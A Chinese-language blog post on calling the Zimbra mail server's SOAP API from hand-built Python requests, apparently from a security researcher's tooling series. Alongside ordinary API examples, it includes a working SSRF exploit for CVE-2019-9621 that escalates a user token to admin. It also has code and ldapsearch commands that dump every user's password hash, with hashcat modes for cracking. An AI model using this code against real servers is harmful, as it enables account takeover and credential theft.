Zimbra SOAP API开发指南

发布于 2024-11-13 02:34:26 字数 24913 浏览 3 评论 0

0x00 前言

通过 Zimbra SOAP API 能够对 Zimbra 邮件服务器的资源进行访问和修改,Zimbra 官方开源了 Python 实现的 Python-Zimbra 库作为参考

为了更加了解 Zimbra SOAP API 的开发细节,我决定不依赖 Python-Zimbra 库,参照 API 文档 的数据格式尝试手动拼接数据包,实现对 Zimbra SOAP API 的调用

0x01 简介

本文将要介绍以下内容:

  • Zimbra SOAP API 简介
  • Python-Zimbra 简单测试
  • Zimbra SOAP API 框架的开发思路
  • 开源代码

0x02 Zimbra SOAP API 简介

Zimbra SOAP API 包括以下命名空间:

  • zimbraAccount
  • zimbraAdmin
  • zimbraAdminExt
  • zimbraMail
  • zimbraRepl
  • zimbraSync
  • zimbraVoice

每个命名空间下对应不同的操作命令,其中常用的命名空间有以下三个:

  1. zimbraAdmin,Zimbra 邮件服务器的管理接口,需要管理员权限
  2. zimbraAccount,同 Zimbra 用户相关的操作
  3. zimbraMail,同 zimbra 邮件的操作

Zimbra 邮件服务器默认的开放端口有以下三种:

1.访问邮件

默认端口为 80 或 443

对应的地址为: uri+"/service/soap"

2.管理面板

默认端口为 7071

对应的地址为: uri+":7071/service/admin/soap"

3.管理面板->访问邮件

从管理面板能够读取所有用户的邮件

默认端口为 8443

对应的地址为: uri+":8443/mail?adminPreAuth=1"

0x03 Python-Zimbra 简单测试

参考地址:

对于自己的测试环境,需要忽略 SSL 证书验证,使用如下代码:

import ssl
ssl._create_default_https_context = ssl._create_unverified_context

使用用户名和口令登录的示例代码如下:

token = auth.authenticate(
    url,
    'test@mydomain.com',
    'password123456',
    use_password=True
)

使用 preauth-key 登录的示例代码如下:

token = auth.authenticate(
    url,
    'test@mydomain.com',
    'secret-preauth-key'
)

1.普通用户登录

对应的地址为: uri+"/service/soap"

获得发件箱邮件数量的示例代码如下:

import pythonzimbra.communication
from pythonzimbra.communication import Communication
import pythonzimbra.tools
from pythonzimbra.tools import auth
import warnings
warnings.filterwarnings("ignore")
import ssl
ssl._create_default_https_context = ssl._create_unverified_context

url  = 'https://192.168.112.1/service/soap'
comm = Communication(url)
token = auth.authenticate(
    url,
    'test',
    'password123456',
    use_password=True,
)
info_request = comm.gen_request(token=token)
info_request.add_request(
    "GetFolderRequest",
    {
        "folder": {
            "path": "/sent"
        }
    },
    "urn:zimbraMail"
)
info_response = comm.send_request(info_request)
print(info_response.get_response())
if not info_response.is_fault():
    print("size:%s"%info_response.get_response()['GetFolderResponse']['folder']['n'])

运行结果如下图

Alt text

2.管理员登录

对应的地址为: uri+":7071/service/admin/soap"

获得所有邮件用户信息的示例代码如下:

import pythonzimbra.communication
from pythonzimbra.communication import Communication
import pythonzimbra.tools
from pythonzimbra.tools import auth
import warnings
warnings.filterwarnings("ignore")
import ssl
ssl._create_default_https_context = ssl._create_unverified_context

url  = 'https://192.168.112.1:7071/service/admin/soap'
comm = Communication(url)
token = auth.authenticate(
    url,
    'admin',
    'password123456',
    use_password=True,
    admin_auth=True, 
)
info_request = comm.gen_request(token=token)
info_request.add_request(
    "GetAllAccountsRequest",
    {

    },
    "urn:zimbraAdmin"
)
info_response = comm.send_request(info_request)
if not info_response.is_fault():
    print(info_response.get_response()['GetAllAccountsResponse'])

运行结果如下图

Alt text

0x04 Zimbra SOAP API 框架的实现

Zimbra SOAP API 的参考文档:

实现的总体思路如下:

  1. 模拟用户登录,获得 token
  2. 使用 token 作为凭据,进行下一步操作

1.token 的获取

(1) 普通用户 token

说明文档: https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAccount/Auth.html

对应命名空间为 zimbraAccount

请求的地址为: uri+"/service/soap"

根据说明文档中的 SOAP 格式,可通过以下 Python 代码实现:

def auth_request_low(uri,username,password):
    request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">              
           </context>
       </soap:Header>
       <soap:Body>
         <AuthRequest xmlns="urn:zimbraAccount">
            <account by="adminName">{username}</account>
            <password>{password}</password>
         </AuthRequest>
       </soap:Body>
    </soap:Envelope>
    """
    print("[*] Try to auth for low token")
    try:
      r=requests.post(uri+"/service/soap",data=request_body.format(username=username,password=password),verify=False,timeout=15)
      if 'authentication failed' in r.text:
        print("[-] Authentication failed for %s"%(username))
        return False
      elif 'authToken' in r.text:
        pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
        token = pattern_auth_token.findall(r.text)[0]
        print("[+] Authentication success for %s"%(username))
        print("[*] authToken_low:%s"%(token))
        return token
      else:
        print("[!]")
        print(r.text)
    except Exception as e:
        print("[!] Error:%s"%(e))
        exit(0)

(2) 管理员 token

说明文档: https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAdmin/Auth.html

对应命名空间为 zimbraAdmin

请求的地址为: uri+":7071/service/admin/soap"

根据说明文档中的 SOAP 格式,可通过以下 Python 代码实现:

def auth_request_admin(uri,username,password):
    request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">            
           </context>
       </soap:Header>
       <soap:Body>
         <AuthRequest xmlns="urn:zimbraAdmin">
            <account by="adminName">{username}</account>
            <password>{password}</password>
         </AuthRequest>
       </soap:Body>
    </soap:Envelope>
    """
    print("[*] Try to auth for admin token")
    try:
      r=requests.post(uri+":7071/service/admin/soap",data=request_body.format(username=username,password=password),verify=False,timeout=15)
      if 'authentication failed' in r.text:
        print("[-] Authentication failed for %s"%(username))
        return False
      elif 'authToken' in r.text:
        pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
        token = pattern_auth_token.findall(r.text)[0]
        print("[+] Authentication success for %s"%(username))
        print("[*] authToken_admin:%s"%(token))
        return token
      else:
        print("[!]")
        print(r.text)
    except Exception as e:
        print("[!] Error:%s"%(e))
        exit(0)

补充: (3) 普通用户 token->管理员 token

漏洞编号:CVE-2019-9621

利用 ProxyServlet.doProxy() 函数白名单检查的缺陷,能够将 uri+"/service/soap" 的请求代理到 uri+":7071/service/admin/soap" ,进而获得管理员 token

Python 实现代码如下:

def lowtoken_to_admintoken_by_SSRF(uri,username,password):
    request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
           </context>
       </soap:Header>
       <soap:Body>
         <AuthRequest xmlns="{xmlns}">
            <account by="adminName">{username}</account>
            <password>{password}</password>
         </AuthRequest>
       </soap:Body>
    </soap:Envelope>
    """
    print("[*] Try to auth for low token")
    try:
      r=requests.post(uri+"/service/soap",data=request_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)
      if 'authentication failed' in r.text:
        print("[-] Authentication failed for %s"%(username))
        return False
      elif 'authToken' in r.text:
        pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
        low_token = pattern_auth_token.findall(r.text)[0]
        print("[+] Authentication success for %s"%(username))
        print("[*] authToken_low:%s"%(low_token))
        headers = {
        "Content-Type":"application/xml"
        }
        headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_token+";"
        headers["Host"]="foo:7071"
        print("[*] Try to get admin token by SSRF(CVE-2019-9621)")    
        s = requests.session()
        r = s.post(uri+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=request_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
        if 'authToken' in r.text:
          admin_token =pattern_auth_token.findall(r.text)[0]
          print("[+] Success for SSRF")
          print("[+] ADMIN_TOKEN: "+admin_token)
          return admin_token
        else:
          print("[!]")
          print(r.text)
      else:
        print("[!]")
        print(r.text)
    except Exception as e:
        print("[!] Error:%s"%(e))
        exit(0)

2.命令实现

如果需要管理员 token,在说明文档中每个命令的 Admin Authorization token required 项会被标记,如下图

Alt text

这里挑选几个具有代表性的命令进行介绍

(1)GetFolder

说明文档: https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/GetFolder.html

用来获得文件夹的属性

需要普通用户 token

枚举所有文件夹下邮件数量的 Python 代码如下:

def getfolder_request(uri,token):
    request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
               <authToken>{token}</authToken>
           </context>
       </soap:Header>
       <soap:Body>
         <GetFolderRequest xmlns="urn:zimbraMail"> 
         </GetFolderRequest>
       </soap:Body>
    </soap:Envelope>
    """

    try:
      print("[*] Try to get folder")
      r=requests.post(uri+"/service/soap",data=request_body.format(token=token),verify=False,timeout=15)
      pattern_name = re.compile(r"name=\"(.*?)\"")
      name = pattern_name.findall(r.text)
      pattern_size = re.compile(r" n=\"(.*?)\"")
      size = pattern_size.findall(r.text)      
      for i in range(len(name)):
        print("[+] Name:%s,Size:%s"%(name[i],size[i]))
    except Exception as e:
        print("[!] Error:%s"%(e))
        exit(0)

测试结果如下图

Alt text

(2)GetMsg

说明文档: https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/GetMsg.html

用来读取邮件信息

需要普通用户 token

查看指定邮件的 Python 代码如下:

def getmsg_request(uri,token,id):
    request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
               <authToken>{token}</authToken>
           </context>
       </soap:Header>
       <soap:Body>
         <GetMsgRequest xmlns="urn:zimbraMail"> 
            <m>
                <id>{id}</id>
            </m>
         </GetMsgRequest>
       </soap:Body>
    </soap:Envelope>
    """

    try:
      print("[*] Try to get msg")
      r=requests.post(uri+"/service/soap",data=request_body.format(token=token,id=id),verify=False,timeout=15)
      print(r.text)
    except Exception as e:
        print("[!] Error:%s"%(e))
        exit(0)

这些需要指定要查看邮件的 Message ID,测试结果如下图

Alt text

(3)GetContacts

说明文档: https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/GetContacts.html

用来读取联系人列表

需要普通用户 token

Python 实现代码如下:

def getcontacts_request(uri,token,email):
    request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
               <authToken>{token}</authToken>
           </context>
       </soap:Header>
       <soap:Body>
         <GetContactsRequest xmlns="urn:zimbraMail">
            <a n="email">{email}</a>
         </GetContactsRequest>
       </soap:Body>
    </soap:Envelope>
    """

    try:
      print("[*] Try to get contacts")
      r=requests.post(uri+"/service/soap",data=request_body.format(token=token,email=email),verify=False,timeout=15)
      pattern_data = re.compile(r"<soap:Body>(.*?)</soap:Body>")
      data = pattern_data.findall(r.text)
      print(data[0])

    except Exception as e:
        print("[!] Error:%s"%(e))
        exit(0)

测试结果如下图

Alt text

(4)GetAllAccounts

说明文档: https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAdmin/GetAllAccounts.html

用来获得所有用户的信息

需要管理员 token

获得所有用户列表,输出用户名和对应 Id 的 Python 实现代码如下:

def getallaccounts_request(uri,token):
    request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
               <authToken>{token}</authToken>
           </context>
       </soap:Header>
       <soap:Body>
         <GetAllAccountsRequest xmlns="urn:zimbraAdmin">
         </GetAllAccountsRequest>
       </soap:Body>
    </soap:Envelope>
    """

    try:
      print("[*] Try to get all accounts")
      r=requests.post(uri+":7071/service/admin/soap",data=request_body.format(token=token),verify=False,timeout=15)
      pattern_name = re.compile(r"name=\"(.*?)\"")
      name = pattern_name.findall(r.text)
      pattern_accountId = re.compile(r"id=\"(.*?)\"")
      accountId = pattern_accountId.findall(r.text)

      for i in range(len(name)):
        print("[+] Name:%s,Id:%s"%(name[i],accountId[i]))

    except Exception as e:
        print("[!] Error:%s"%(e))
        exit(0)

测试结果如下图

Alt text

(5)GetLDAPEntries

说明文档: https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAdmin/GetLDAPEntries.html

用来获取 ldap 搜索的结果

需要管理员 token

实现 LDAP 查询的 Python 代码如下:

def getldapentries_request(uri,token,query,ldapSearchBase):
    request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
               <authToken>{token}</authToken>
           </context>
       </soap:Header>
       <soap:Body>
         <GetLDAPEntriesRequest xmlns="urn:zimbraAdmin">
            <query>{query}</query>
            <ldapSearchBase>{ldapSearchBase}</ldapSearchBase>
         </GetLDAPEntriesRequest>
       </soap:Body>
    </soap:Envelope>
    """

    try:
      print("[*] Try to get LDAP Entries of %s"%(query))
      r=requests.post(uri+":7071/service/admin/soap",data=request_body.format(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15)
      print(r.text)
    except Exception as e:
        print("[!] Error:%s"%(e))
        exit(0)

这里我们需要先了解 zimbra openLDAP 的用法,才能明白参数 queryldapSearchBase 的格式

在 Zimbra 服务器上测试以下命令:

1.获得连接 LDAP 服务器的用户名和口令:

su zimbra
/opt/zimbra/bin/zmlocalconfig -s |grep zimbra_ldap

如下图

Alt text

2.使用获得的用户名和口令连接 LDAP 服务器,输出所有结果:

/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9

如下图

Alt text

3.加入筛选条件,只显示用户列表:

/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 "(&(objectClass=zimbraAccount))"

或者

/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 -b "ou=people,dc=zimbra,dc=com"

如下图

Alt text

可以注意到 userPassword 项为用户口令的 hash

4.再次加入筛选条件,只显示用户名称和对应 hash:

/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 "(&(objectClass=zimbraAccount))" mail userPassword

如下图

Alt text

其中导出的 hash 前 12 字节为固定字符 e1NTSEE1MTJ9 ,经过 base64 解密后的内容为 {SSHA512} ,后面部分为 SHA-512 加密的字符,对应 hashcat 的 Hash-Mode 为 1700

补充 1:其他 ldap 命令

查询 zimbra 配置信息:

/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 -b "cn=config,cn=zimbra"

/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 -b "cn=cos,cn=zimbra"

查询 zimbra server 配置信息:

/opt/zimbra/bin/ldapsearch -x -H ldap://mail.zimbra.com:389 -D "uid=zimbra,cn=admins,cn=zimbra" -w kwDhJ6L1V9 -b `"cn=servers,cn=zimbra"`

其中包括如下内容:

  • zimbraSshPublicKey
  • zimbraMemcachedClientServerList
  • zimbraSSLCertificate
  • zimbraSSLPrivateKey

补充 2:连接 MySQL 数据库的操作

1.获得连接 MySQL 数据库的用户名和口令:

su zimbra
/opt/zimbra/bin/zmlocalconfig -s | grep mysql

如下图

Alt text

2.连接 MySQL 数据库:

/opt/zimbra/bin/mysql -h 127.0.0.1 -u root -P 7306 -p

3.查看所有数据库:

show databases;

如下图

Alt text

综上,如果要查询所有用户的信息, query 的值可以设置为 "cn=*"ldapSearchBase 的值可以设置为 "ou=people,dc=zimbra,dc=com"

注:

不同环境的 ldapSearchBase 值不同,通常和域名保持一致

通过 LDAP 查询获得用户名称和对应 hash 的 Python 代码如下:

def getalluserhash(uri,token,query,ldapSearchBase):
    request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
       <soap:Header>
           <context xmlns="urn:zimbra">
               <authToken>{token}</authToken>
           </context>
       </soap:Header>
       <soap:Body>
         <GetLDAPEntriesRequest xmlns="urn:zimbraAdmin">
            <query>{query}</query>
            <ldapSearchBase>{ldapSearchBase}</ldapSearchBase>
         </GetLDAPEntriesRequest>
       </soap:Body>
    </soap:Envelope>
    """

    try:
      print("[*] Try to get all users' hash")
      r=requests.post(uri+":7071/service/admin/soap",data=request_body.format(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15)
      if 'userPassword' in r.text:
        pattern_data = re.compile(r"userPass(.*?)objectClass")
        data = pattern_data.findall(r.text)   
        for i in range(len(data)):
          pattern_user = re.compile(r"mail\">(.*?)<")
          user = pattern_user.findall(data[i])
          pattern_password = re.compile(r"word\">(.*?)<")  
          password = pattern_password.findall(data[i])  
          print("[+] User:%s"%(user[0]))  
          print("    Hash:%s"%(password[0]))

      else:
        print("[!]")
        print(r.text)      

    except Exception as e:
        print("[!] Error:%s"%(e))
        exit(0)

测试结果如下图

Alt text

其中导出的 hash 对应 hashcat 的 Hash-Mode 为 1711

注:

新版本的 zimbra 无法读取 hash,显示 VALUE-BLOCKED ,如下图

Alt text

0x05 开源代码

代码已开源,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

代码支持三种连接方式:

  • 普通用户 token
  • 管理员 token
  • SSRF(CVE-2019-9621)

连接成功后会显示支持的命令

普通用户 token 支持的命令如下:

GetAllAddressLists
GetContacts
GetFolder
GetItem ,Eg:GetItem /Inbox
GetMsg ,Eg:GetMsg 259

部分测试结果如下图

Alt text

管理员 token 支持的命令如下:

GetAllDomains
GetAllMailboxes
GetAllAccounts
GetAllAdminAccounts
GetMemcachedClientConfig
GetLDAPEntries ,Eg:GetLDAPEntries cn=* dc=zimbra,dc=com
getalluserhash ,Eg:getalluserhash dc=zimbra,dc=com

部分测试结果如下图

Alt text

0x06 日志检测

登录日志的位置为 /opt/zimbra/log/mailbox.log

其他种类的邮件日志可参考 https://wiki.zimbra.com/wiki/Log_Files

0x07 小结

本文简单测试了 Python-Zimbra 库,参照 API 文档 的数据格式手动拼接数据包,实现对 Zimbra SOAP API 的调用,开源代码 Zimbra_SOAP_API_Manage ,分享脚本开发的细节,便于后续的二次开发

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

时光沙漏

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

一梦浮鱼

文章 0 评论 0

mb_Z9jVigFL

文章 0 评论 0

伴随着你

文章 0 评论 0

耳钉梦

文章 0 评论 0

18618447101

文章 0 评论 0

蜗牛

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文